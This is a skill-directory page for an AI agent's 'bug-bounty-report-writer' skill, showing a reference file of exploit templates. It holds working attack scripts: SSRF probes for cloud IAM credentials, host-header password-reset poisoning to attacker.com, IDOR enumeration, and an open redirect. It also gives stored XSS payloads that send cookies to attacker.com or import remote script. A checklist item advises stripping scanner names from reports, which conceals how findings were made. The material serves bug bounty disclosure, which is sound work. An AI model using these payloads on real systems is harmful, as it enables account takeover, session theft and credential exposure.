Skip to content

ShulkwiSEC/bb-huge / skills/curated/bug-bounty-report-writer

bug-bounty-report-writer

Flagged

Writes professional bug bounty reports for HackerOne, Bugcrowd, and Intigriti with CVSS 4.0 scoring, business impact, working exploits, and remediation. Runs 5-check Pre-Report Verification first: hallucination detection, AI writing patterns, PoC reproducibility, duplicate detection, and impact plausibility. Use when user describes a vulnerability, shares HTTP logs, HAR files, recon output, or screenshots; says 'write a bug report', 'format my finding', 'draft a vuln report', 'is this valid', 'rate my vulnerability', 'verify my report', or any variant. Trigger for partial or messy input — raw notes, one-liners, or full writeups all work. Do not wait for perfect input.

references/exploit-templates.md

View on GitHub
# Exploit Templates by Vulnerability Class

These templates are starting points. Always adapt to the specific target:
- Change TARGET, HEADERS, and PARAMS to match the actual endpoint
- Remove any template comments before submitting
- Test the script works before including it in the report

---

## SSRF
```python
#!/usr/bin/env python3
"""
SSRF PoC — Internal Metadata Access
Target: [Program Name]
"""
import requests

TARGET = "https://target.com/api/endpoint"
HEADERS = {"Content-Type": "application/json"}
# Add auth if needed: "Authorization": "Bearer <token>"

PAYLOADS = [
    "http://169.254.169.254/latest/meta-data/",
    "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
    "http://[::ffff:169.254.169.254]/latest/meta-data/",  # IPv6 bypass
    "http://metadata.google.internal/computeMetadata/v1/",  # GCP
    "http://169.254.169.254/computeMetadata/v1/",  # GCP alt
]

for payload in PAYLOADS:
    resp = requests.post(TARGET, json={"url": payload}, headers=HEADERS, timeout=10)
    print(f"[*] {payload}")
    print(f"    Status: {resp.status_code} | Length: {len(resp.text)}")
    if resp.status_code == 200 and len(resp.text) > 50:
        print(f"[+] CONFIRMED: {resp.text[:300]}")
        break
```

---

## Host Header Injection — Password Reset Poisoning
```python
#!/usr/bin/env python3
"""
Host Header Injection — Reset Token Hijack
Attacker receives victim's reset token at controlled domain.
"""
import requests

RESET_URL = "https://target.com/users/password"
ATTACKER_DOMAIN = "attacker.com"
VICTIM_EMAIL = "victim@target.com"

resp = requests.post(
    RESET_URL,
    headers={"Host": ATTACKER_DOMAIN, "Content-Type": "application/x-www-form-urlencoded"},
    data={"user[email]": VICTIM_EMAIL},
    allow_redirects=False
)
print(f"Status: {resp.status_code}")
print(f"Response: {resp.text[:200]}")
print(f"\n[*] Check attacker.com server logs for:")
print(f"    GET /users/password/edit?reset_password_token=XXXX HTTP/1.1")
print(f"    Host: attacker.com")
```

---

## IDOR — Object Enumeration
Adapt BASE and MY_ID to the actual resource and ID from the user's description.
```python
#!/usr/bin/env python3
"""
IDOR — Horizontal Privilege Escalation
Access other users' resources using your own token.
Adapt: BASE endpoint, MY_ID (your own resource ID), and response check.
"""
import requests

# Change these to match the actual target
BASE = "https://target.com/api/v1"
RESOURCE_PATH = "/orders/{id}/details"  # e.g. /orders/88421/details
MY_TOKEN = "Bearer <your_token_here>"
MY_ID = 88421  # Your own resource ID — use as anchor for enumeration

for rid in range(MY_ID - 5, MY_ID + 10):
    url = BASE + RESOURCE_PATH.format(id=rid)
    resp = requests.get(url, headers={"Authorization": MY_TOKEN})
    if resp.status_code == 200:
        print(f"[+] {url} accessible: {resp.text[:100]}")
    else:
        print(f"[-] {url}: {resp.status_code}")
```

---

## Stored XSS Payloads
```html
<!-- Basic session stealer -->
<script>fetch('https://attacker.com/?c='+btoa(document.cookie))</script>

<!-- Image onerror (if script tags filtered) -->
<img src=x onerror="fetch('https://attacker.com/?c='+btoa(document.cookie))">

<!-- SVG (bypasses some WAFs) -->
<svg onload="fetch('https://attacker.com/?c='+btoa(document.cookie))">

<!-- CSP bypass via import() (if no script-src 'strict-dynamic') -->
<script>import('https://attacker.com/x.js')</script>
```

---

## Unauthenticated API Endpoint
```bash
# No Authorization header — should return 401/403, but doesn't
curl -s -X GET "https://target.com/api/v1/admin/users" \
  -H "Content-Type: application/json" | python3 -m json.tool

# Verify: compare with authenticated response
curl -s -X GET "https://target.com/api/v1/admin/users" \
  -H "Authorization: Bearer <your_token>" \
  -H "Content-Type: application/json" | python3 -m json.tool
```

---

## Open Redirect
```python
#!/usr/bin/env python3
import requests

TARGET = "https://target.com/redirect"
PAYLOAD = "https://evil.attacker.com"

resp = requests.get(f"{TARGET}?url={PAYLOAD}", allow_redirects=False)
location = resp.headers.get("Location", "")
print(f"Status: {resp.status_code}")
print(f"Location: {location}")

if "attacker.com" in location:
    print("[+] OPEN REDIRECT CONFIRMED")
```

---

## Script Quality Checklist
- [ ] Shebang + short docstring at top
- [ ] TARGET/HEADERS constants easy to modify
- [ ] `[+]` success, `[-]` failure, `[*]` info
- [ ] No hardcoded real credentials in submitted version
- [ ] No scanner references (nuclei, sqlmap, ffuf) in variable names or comments
- [ ] Tested and produces expected output before including in report
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 471kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 471kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 471kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall